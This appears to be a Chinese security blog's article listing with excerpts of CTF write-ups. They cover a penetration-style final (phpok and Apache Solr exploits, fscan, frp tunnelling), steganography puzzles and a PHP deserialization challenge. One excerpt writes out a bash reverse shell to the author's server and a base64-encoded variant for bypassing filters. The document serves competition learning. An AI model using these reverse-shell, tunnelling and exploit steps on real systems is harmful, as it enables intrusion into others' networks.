首页
关于我
友链
推荐
渊龙Sec安全团队
Search
1
渗透必备:使用Proxifier玩转代理
14,926 阅读
2
对于Spring Boot的渗透姿势
9,822 阅读
3
HaE入门到精通:三条影响你一生的HaE规则
9,064 阅读
4
PHP从零学习到Webshell免杀手册
5,444 阅读
5
SQL注入恶劣环境之可执行文件上传骚姿势
4,859 阅读
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
登录
Search
标签搜索
技术随笔
技术小记
渗透经验
人生小记
CTF
数据库
年末总结
内网渗透
曾哥
累计撰写
32
篇文章
累计收到
213
条评论
首页
栏目
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
页面
关于我
友链
推荐
渊龙Sec安全团队
搜索到
4
篇与
的结果
2023-11-12
2023浙江省大学生网络与信息安全决赛-Misc篇
这是2023浙江省大学生网络与信息安全决赛的Misc篇,将本次比赛的相关题目进行了整理,欢迎各位师傅的复现和交流学习~
2023年11月12日
4,802 阅读
13 评论
37 点赞
2022-12-21
2022安恒杯决赛思路分享
比赛概述难以置信,我们是第一名!!!感谢同一队的@Mstir师傅和我的密切合作哈哈 安恒杯初赛是CTF,我博客前面两篇文章写了一部分解题思路,后面看看要不要再把一些解题思路放上来(主要是懒哈哈,懒得码字)决赛的话,就不是CTF的赛制了,而是综合渗透赛制,这个有点像AWD但又不像本来我和 @Mstir 师傅也只是想认真比一下的,但没想到拿了第一,真的意想不到有些师傅想要让我分享一下这次比赛,那我就在这里简单的分享一下吧何为综合渗透赛制?综合渗透赛制,又称靶场综合渗透,此模式涉及多个前沿热门应用、同时涉及了多层网络,模拟真实企业生产环境,比如上线一套分布在不同网络区域的多台漏洞靶机,参赛队伍通过内网渗透获取靶机相应权限,从而读取相应的Flag(旗标文件)。涉及的知识点有内网安全、反向代理、内网穿透、服务器提权、中间件安全、数据库安全等。简单来说,就是我们作为攻击方,通过对模拟真实环境的靶机进行渗透来获取关键Flag1# 准备阶段前期:摄像头、录屏工具(EV录屏、Bandicam)因为比赛的时候,我们学校放假了,因为本次比赛有非常强的防作弊措施,比赛全程都要开启并接入监控摄像头,比赛全程所有选手的电脑必须录屏并提交,所以这两个必须要准备比赛期间:一台公网服务器:用来反弹Shell和Frp转发流量7kbScan:用于扫描Web敏感路径的BurpSuite:著名的抓包工具,爆破Web的密码要用AntSword(蚁剑):用于连接WebShell和访问数据库以及提权SolrVulScan1.0-win64.jar:本次比赛出现CVE-2019-17558这个Apache Solr的漏洞,所以需要利用工具Solr_CVE-2019-17558.py:同上,Python的漏洞利用脚本Fscan:内网扫描神器,相信很多师傅都用过Frp:用于内网渗透的时候将内网流量代理出来Proxifier:用于配合Frp,给本机系统进行全局代理Navicat(可选):数据库可视化连接工具,配合Frp连接内网数据库Ladon拉冬:K8师傅开发的内网渗透、提权必备神器DayBreak破晓平台:斗象科技开发的轻量级C2平台项目,我拿到了内测权限,用来上线Linux,可以用CobaltStrike替代能想到的工具目前就这些了,如果还有的话再补充2# 整体思维导图3# 比赛过程3.1# 外网打点阶段-phpok首先给了一个外网地址:162.14.*.*(扫描后,发现开了两个端口:80和8983端口)80端口,访问后是一个网站:显示使用phpok这个源码搭建的:直接上手7kbscan,扫描路径:扫出了一个robots.txt和admin.phprobots.txt里面带了一个flag14,admin.php是后台地址用BurpSuite爆破后台账号密码,注意这里需要识别验证码进行爆破,相关的姿势去百度有很多文章,这里就不赘述了爆破出后台账号密码:admin/admin123吐槽:估计是怕BurpSuite带验证码爆破有些队伍不会,提示Hint1直接给了账号密码,我爆破半天。。 登录后台后,百度可以找到phpok存在后台任意文件上传 (CVE-2018-12491)漏洞,直接跟着文章复现漏洞即可: https://blog.csdn.net/weixin_42675091/article/details/126673611 至此,我们拿到了WebShell,用AntSword连接即可:找到数据库配置文件,连上本地数据库:数据库地址:127.0.0.1数据库账号:root数据库密码:abc123...数据库名:phpok4simple直接可以通过蚁剑连上数据库,但是翻了翻没flag,估计在其他地方然后直接通过WebShell到/home/目录下,就找到了flag1:3.2# 外网打点阶段-Apache Solr转头来看对外开放的Solr服务:直接Python脚本一把梭哈哈,也能拿到falg13.3# 上线机器直接在Web目录下上传二进制文件,命令直接执行即可上线:在DayBreak破晓平台即可看到机器上线了:可以很清楚的看到,上线的机器内网地址为172.16.238.20同样,可以直接通过WebShell执行反弹shell指令,但是直接执行好像不行:bash -i >& /dev/tcp/8.***.**.**/25565 0>&1这时候,就需要对命令进行编码即可绕过进行反弹shell:bash -c '{echo,base64编码后的字符串}|{base64,-d}|{bash,-i}'3.4# 内网扫描直接丢个Ladon拉冬或者Fscan扫内网就行了这时候提示Hint2来了,直接给内网C段:172.16.238.0/24(话说用WebShell看一下地址不就好了吗,这还需要提示???)我这边同时使用Fscan和DayBreak破晓平台同时开始内网扫描:上传fscan_amd64,使用以下命令:/var/www/html/fscan_amd64 -h 172.16.238.0/24 > 222.txt将扫描结果直接导入222.txt结果如下:start ping (icmp) Target 172.16.238.20 is alive (icmp) Target 172.16.238.50 is alive (icmp) Target 172.16.238.10 is alive (icmp) Target 172.16.238.1 is alive (icmp) Target 172.16.238.30 is alive (icmp) Target 172.16.238.40 is alive [*] Icmp alive hosts len is: 6 172.16.238.30:8080 open 172.16.238.20:80 open 172.16.238.40:22 open 172.16.238.1:22 open 172.16.238.30:8009 open 172.16.238.50:445 open 172.16.238.50:139 open 172.16.238.1:80 open 172.16.238.40:3306 open 172.16.238.1:8983 open 172.16.238.10:8983 open [*] alive ports len is: 11 start vulscan [*] NetBios: 172.16.238.50 56b9f476dcc9 Windows 6.1 [*] 172.16.238.50 (Windows 6.1) [*] WebTitle: http://172.16.238.10:8983 code:302 len:0 title:None 跳转url: http://172.16.238.10:8983/solr/ [*] WebTitle: http://172.16.238.30:8080 code:200 len:11230 title:Apache Tomcat/8.0.43 [*] WebTitle: http://172.16.238.10:8983/solr/ code:200 len:14634 title:Solr Admin [*] WebTitle: http://172.16.238.20 code:200 len:14255 title:闻道集团 - 网站建设|企业网站建设|PHPOK网站建设|PHPOK企业网站建设 [*] WebTitle: http://172.16.238.1 code:200 len:14213 title:闻道集团 - 网站建设|企业网站建设|PHPOK网站建设|PHPOK企业网站建设 [*] WebTitle: http://172.16.238.1:8983 code:302 len:0 title:None 跳转url: http://172.16.238.1:8983/solr/ [*] WebTitle: http://172.16.238.1:8983/solr/ code:200 len:14634 title:Solr Admin [+] http://172.16.238.30:8009 poc-yaml-iis-put-getshell [+] http://172.16.238.30:8080 poc-yaml-tomcat-cve-2017-12615-rce [+] http://172.16.238.1:8983 poc-yaml-solr-velocity-template-rce [+] http://172.16.238.10:8983 poc-yaml-solr-velocity-template-rce //内置的ssh没爆破成功,这部分就删掉了 已完成 11/11 [*] 扫描结束,耗时: 6m40.996181292sDayBreak破晓平台扫描结果如下:没问题,两边都扫描出这些端口和内容,应该算是没有遗漏了扫出172.16.238.40这台机器开放了3306端口(MySQL数据库),加上我们之前拿到WebShell之后可以看到数据库连接的账号密码,就尝试连接发现flag5:3.5# Frp内网流量带出测试了以下,内网172.16.238.0/24是不出网的,必须要用Frp将流量带出来下载Frp: fatedier/frp 很简单,frpc是客户端,frps是服务端配置frpc.ini:# frpc.ini [common] server_addr = 自己公网服务器地址 server_port = 7000 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 plugin = socks5 //这一句必须要加,不然代理连不上客户端通过WebShell上传,frps上传到自己的公网服务器上,配置frps.ini:# frps.ini [common] bind_port = 7000接下来要在自己的公网服务器上开6000和7000这两个端口,并执行命令进行监听:./frps -c ./frps.ini再在上线的那台机器上执行命令:/var/www/html/frp/frpc -c ./frpc.ini这样就可以成功将内网流量通过公网服务器的6000端口代理出来了,接下来使用Proxifier配合Frp对本地系统进行全局代理:3.6# 内网渗透既然上面发现172.16.238.1和172.16.238.10存在Solr漏洞,直接用SolrVulScan1.0-win64.jar打过去:也能拿到一个flag,这里就不放出来了同时,172.16.238.30的8080端口有Tomcat服务也存在漏洞,内网流量代理出来后就很方便了,直接本机打就行了:同样,读取/home/flag即可拿到flag4# 主办方提示汇总Hint1:CVE-2019-17558 find提权 admin/admin123 1. SUID提权 2. oklite的robots.txt 别忘了,然后试试 admin/admin123 登录。Hint2:1. 一层内网地址:172.16.238.0/24 2. 多扫扫,内网机器的洞很好搞的。Hint3:getshell后尽量用frp或者nps,尽量不要用 reGeorg 之类的正向代理工具,Apache可经不起你这样跑:)HInt4:注意数据安全,数据库里可能也会有flag,别光GetShell,翻下数据库。Hint5:172.16.238.40,MYSQL,用oklite的config.php里的密码去连,同学们渗透要做好信息收集。Hint6:冰蝎不行可以用蚁剑。 MYSQL UDF,还有flag。总结共8个flag,我们总共找到6个flag最后时间不够了,不然172.16.238.40的MySQL进行UDF提权,估计还能拿到一个flagMySQL提权可以看我这篇文章: MySQL不出网文件落地上线姿势队伍里面合作很重要,感谢 @Mstir 师傅和我的密切配合这种比赛需要自备一台公网服务器,不然后期的内网渗透寸步难行自己渗透的速度还是不够,如果再快点,能把全部flag都找到,还要多加练习信息搜集很重要,特别是内网的信息,40那台机器的数据库我也差点忽略了哈哈感谢安恒科技和各个主办单位,给我们这次机会展示自己,没想到真的拿了第一名
2022年12月21日
2,235 阅读
5 评论
20 点赞
2022-12-10
2022安恒杯部分WP-Misc篇
比赛概述吐血。。还是细节没注意Misc-1:My_lllp吐槽:我是真没想到这个隐写方式啊啊啊啊啊啊啊,这道题赛时我没做出来,是看其他师傅的WriteUP复现的1# 题目内容2# 解题思路2.1 提取图片内隐写的内容解压后,只有一张png格式的女生头像用Stegsolve.jar看了一下,发现有PK开头的数据,果断上foremost一键分离文件(工具包内自带了)发现zip有注释信息:也许名称能给你想要的 (ᗜ ˰ ᗜ) 线索如下:名称?名称不就是文件名my_lllp吗?难不成是这个人的名字???结合题目描述:你能发现图片中的秘密吗?这里肯定有图片隐写,但是我试了很多带密码的图片隐写,没成功解密我还去百度识图,识图结果为一个名为“林允”的艺人,相信群里面很多师傅都和我一样觉得密码应该和“林允”有关真没想到是cloacked-pixel,我是看赛后别人发的WriteUP才想起来。。。使用隐写工具cloacked-pixel 密码为my_lllp工具开源地址:https://github.com/livz/cloacked-pixelpython lsb.py extract -i "my_lllp.png" -o out.txt -p my_lllp打开导出的out.txt,可以看到:passwordisSSSSSssssscretpassword is SSSSSssssscret2.2 提取压缩包内容那上面分离的压缩包,解压密码应该是:SSSSSssssscret解压后,拿到flag.txt,内容如下:2.3 解密相关内容,拿到flag提示为snow,那肯定想到snow雪花隐写相关工具下载地址:https://www.darkside.com.au/snow/使用SNOW.EXE对flag.txt进行解密SNOW.EXE -C flag.txt解密后,得到Base64编码的一个字符串REFTQ1RGe0MwbmdyYXRVMWF0aTBuU19Pbl9GaW5kaW5nX3RoZV9mMWFnfQ==使用Base64编码解密,得到flag麻了,我也不知道该说什么了,还是默默补全我的CTF工具箱吧。。隐写方式那么多,你们怎么知道用cloacked-pixel隐写的啊,啊啊啊啊啊啊啊啊啊啊Misc-3:depthpng吐槽:比赛的时候,专注于MISC的第一题、第二题和Web的第三题,这道题没看。当天晚上看了一下,感觉还是挺简单的,远远没有MISC第一题的脑洞那么大,我真的会谢、、1# 题目内容2# 解题思路2.1 提取图片内隐写的内容解压后,只有一张png格式的图片,用Stegsolve.jar看了一下没找到什么东西那就是图片隐写内容在里面,直接上Kali用万能的zsteg默认Kali是没有zsteg这个工具的,这里附上zsteg安装过程:sudo apt-get install gem git clone http://www.github.com/zed-0xff/zsteg sudo gem install zsteg zsteg -h //显示zsteg的帮助菜单,如果有回显说明安装成功安装完成后,使用zsteg对图片进行分析zsteg -a depthpng.png发现在 b1,g,lsb,yx 这块区域,有个ZIP压缩包,我们要将它从图片里面提取出来zsteg depthpng.png -E b1,g,lsb,yx > dapthpng.zip提取出的压缩包内容如下:有个加密的flag.txt,一个未加密的.flag.txt.swp2.2 对.swp文件进行恢复需要关注的是.swp文件,这里简单说一下.swp文件vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容。如果原文件名是data.txt,那么swp文件名就是.data.txt.swp如果文件正常退出,则此文件自动删除以下两种情况不会删除.swp文件:vim非正常退出(比如直接关闭终端或者电脑断电)这种情况下,除非手动删除swp文件,否则它会一直存在。当你强行关闭vim时,vim自动生成一个swp文件,当你再次用vim打开文件时,会出现提示简单来说,.swp文件是Linux里面vim(Linux内置的文本编辑器,相当于Win的TXT文本编辑器)的一个缓存文件,防止你编辑文件的时候出现突发情况导致数据丢失的情况,通过这个.swp文件,可以恢复原来编辑时候的数据先把这个.swp文件解压出来因为.swp文件是隐藏文件,是无法直接在文件夹里面看到的,于是我们要用命令才能看到ls -al那我们就来试一下恢复这个.swp文件吧cd ~/Downloads/depthpng //切换到文件解压的目录,根据你的情况自行修改 vim -r .flag.txt.swp发现报错了,不慌,看一下报了什么错因为在恢复.swp文件的时候,会恢复在它记录的目录(即 /home/chang/Downloads/Misc/),但我们虚拟机里面没有这个目录,所以它会显示“无法打开并写入文件”,所以创建这个路径再恢复即可/home:如果建立一个用户,用户名是"zg666",那么在/home目录下就有一个对应的/home/zg666路径,用来存放用户的主目录所以,我们要创建一个名为“chang”的用户,才能生成 /home/changsudo useradd -m chang然后读取 /etc/passwd 看看有没有创建成功cat /etc/passwd | grep "chang"这时候,/home/chang 就生成了,但我们还需要建两个子目录:/Downloads/Misc/cd /home/chang sudo mkdir Downloads cd /home/chang/Downloads sudo mkdir Misc然后再去恢复一下上面的.swp文件cd ~/Downloads/depthpng //切换到文件解压的目录,根据你的情况自行修改 sudo vim -r .flag.txt.swp按回车进入下一步,输入 :wq(保存编辑操作退出),再回车回到 /home/chang/Downloads/Misc/ 目录下面,发现恢复成功了打开一看,没有flag2.3 对压缩包进行明文攻击既然恢复的flag.txt里面没有flag,说明这是要通过恢复的flag.txt对前面提取出来的ZIP压缩包进行明文攻击发现压缩包内,对flag.txt的加密方式为“ZipCrypto”,这是一种旧版的ZIP加密算法,里面存在明文攻击漏洞这里就需要用到一个开源项目:https://github.com/kimci86/bkcrack,来对压缩包进行明文攻击为了方便区分,我就把上面通过.swp恢复的flag.txt重命名为swp.txt,然后开始对压缩包进行明文攻击bkcrack.exe -C .\dapthpng.zip -c flag.txt -p swp.txt显示攻击成功,拿到相关keys这时候,就可以通过“ZipCrypto”压缩方式的漏洞修改压缩包的密码了,这里我把它修改为“easy”bkcrack.exe -C .\dapthpng.zip -k 6c30e526 874fd386 341fe8cb -U .\out.zip easy打开目录,可以看到生成了一个“out.zip”,解压密码为easy2.4 攻击成功,拿到flag用“easy”解压压缩包,成功拿到flag其实理清楚,感觉这道题还是挺简单的,很多时候做题的时候,思路想的不是很清晰,或者没有注意相应细节,还是要多学多练黑夜给予了我们一双黑色的眼睛,我们却用它来寻找漏洞
2022年12月10日
909 阅读
0 评论
11 点赞
2022-12-10
2022安恒杯部分WP-Web篇
比赛概述总体上来说,比赛难度还是有的但是我自身的一些欠缺也是存在的,赛后复盘的时候发现自己在一些地方没注意,导致该拿的分数没拿到,这是真的非常可惜的ezphp2这是一道反序列化的题目,源码如下:<?php error_reporting(0); highlight_file(__FILE__); class A{ public $a; public function __construct($a) { $this->a = $a; } public function __destruct() { foreach (explode("-",$this->a) as $value){ echo $value." "; } } } class B extends C { public $c; public function FileReader(){ if (file_exists($this->c)){ echo file_get_contents($this->c); }else{ echo "file_not_found"; } } public function __toString() { $this->FileReader(); return ""; } } class C{ public $what; public $haha; public function __wakeup() { $this->c = "no way"; $this->what = $this->haha; } } $p = $_GET["p"]; if (isset($p)){ unserialize($p); }else{ new A("Welcome-hacker"); }看起来,是要将文件名路径传给$c,然后读取文件内容出来即可这里要把A类里面的传入B类,然后常规过wakeup即可,但是我比赛的时候忘记过wakeup了。。。本来我自己都是手工构造序列化内容的,但赛后突然发现另外一种解题思路:<?php error_reporting(0); highlight_file(__FILE__); class A{ public $a; public function __construct($a) { $this->a = $a; } public function __destruct() { foreach (explode("-",$this->a) as $value){ echo $value." "; } } } class B extends C { public $c="/flag"; public function FileReader(){ if (file_exists($this->c)){ echo "<br>"; echo "Flag为:" . file_get_contents($this->c); }else{ echo "file_not_found"; } } public function __toString() { $this->FileReader(); return ""; } } class C{ public $what; public $haha; public function __wakeup() { $this->c = "no way"; $this->what = $this->haha; } } $bbb=new B(); $asd=new A($a=$bbb); print_r($asd); echo "<br>"; echo "构造反序列化字符串为:" . serialize($asd); ?>可以这样直接输出出来!!!解题Payload如下:O:1:"A":1:{s:1:"a";O:1:"B":3:{s:1:"c";s:5:"/flag";s:4:"what";N;s:4:"haha";N;}}lander这是一道Java写的Web登录题,给了源码,目录结构如下:F:. │ Easyjava2Application.java │ ├─controller │ Index.java │ └─Utils CyberUtils.java JwtUtils.java OtherUtils.javaEasyjava2Application.java:package com.ctf.lander; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class Easyjava2Application { public static void main(String[] args) { SpringApplication.run(Easyjava2Application.class, args); } }Index.java:package com.ctf.lander.controller; import com.ctf.lander.Utils.JwtUtils; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.util.Map; @Controller public class Index { @RequestMapping(value = "/") public String index()throws Exception{ return "index"; } @RequestMapping(value = "/login") public void login(String username, HttpServletResponse response)throws Exception{ String jwt = JwtUtils.getToken(username); Cookie cookie = new Cookie("auth",jwt); response.addCookie(cookie); response.sendRedirect("/success"); } @ResponseBody @RequestMapping(value = "/success") public String success(Model model, HttpServletRequest request, HttpServletResponse response)throws Exception{ Cookie[] cookies = request.getCookies(); try { Map result = JwtUtils.parseToken(cookies[0].getValue()); String username = result.get("sub").toString(); String uuid = result.get("jti").toString(); if (uuid.contains("flag")||uuid.contains("/")){ return "no"; } ExpressionParser expressionParser = new SpelExpressionParser(); Expression time = expressionParser.parseExpression(String.format("T(com.ctf.lander.Utils.OtherUtils).FileRead('%s')",uuid)); return username+" create at "+time.getValue(); }catch (Exception e){ response.sendRedirect("/"); return ""; } } }CyberUtils.java:package com.ctf.lander.Utils; import org.springframework.util.DigestUtils; public class CyberUtils { public static byte[] Md5(String str)throws Exception{ return DigestUtils.md5DigestAsHex(str.getBytes("utf-8")).getBytes(); } public static byte[] Md5()throws Exception{ return DigestUtils.md5DigestAsHex("".getBytes("utf-8")).getBytes(); } }JwtUtils.java:package com.ctf.lander.Utils; import io.jsonwebtoken.Claims; import io.jsonwebtoken.JwtBuilder; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import java.util.Date; import java.util.UUID; public class JwtUtils { public static String getToken(String username) throws Exception{ String uuid = UUID.randomUUID().toString(); JwtBuilder jwtBuilder = Jwts.builder() .setId(uuid) .setSubject(username) .setIssuedAt(new Date()) .signWith(SignatureAlgorithm.HS256, CyberUtils.Md5()); OtherUtils.FileWrite(uuid); return jwtBuilder.compact(); } public static Claims parseToken(String token)throws Exception{ Claims claims = Jwts.parser() .setSigningKey(CyberUtils.Md5()) .parseClaimsJws(token) .getBody(); return claims; } }OtherUtils.java:package com.ctf.lander.Utils; import java.io.File; import java.io.FileReader; import java.io.FileWriter; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Date; public class OtherUtils { final static String Base_dir = "/tmp/"; public static void FileWrite(String filename)throws Exception{ File file = new File(Base_dir+filename); if (!file.exists()){ file.createNewFile(); } FileWriter fileWriter = new FileWriter(Base_dir+filename); fileWriter.write(new Date().toString()); fileWriter.close(); } public static String FileRead(String filename)throws Exception{ File file = new File(Base_dir+filename); if (!file.exists()){ return ""; } byte[] bytes = Files.readAllBytes(Paths.get(Base_dir+filename)); String content = new String(bytes, StandardCharsets.UTF_8); return content; } public static String FileRead(Boolean bool)throws Exception{ if (bool){ byte[] bytes = Files.readAllBytes(Paths.get("/flag")); String content = new String(bytes, StandardCharsets.UTF_8); return content; } return ""; } }这道题我还在研究中,打开是一个空白界面,然后能在代码里面看到/login和/success两个目录访问/login,能获得一个jwt格式的cookie,然后自动跳转到/success我猜测,是要将cookie改为管理员的格式,传给/success后才能出现flag
2022年12月10日
640 阅读
0 评论
4 点赞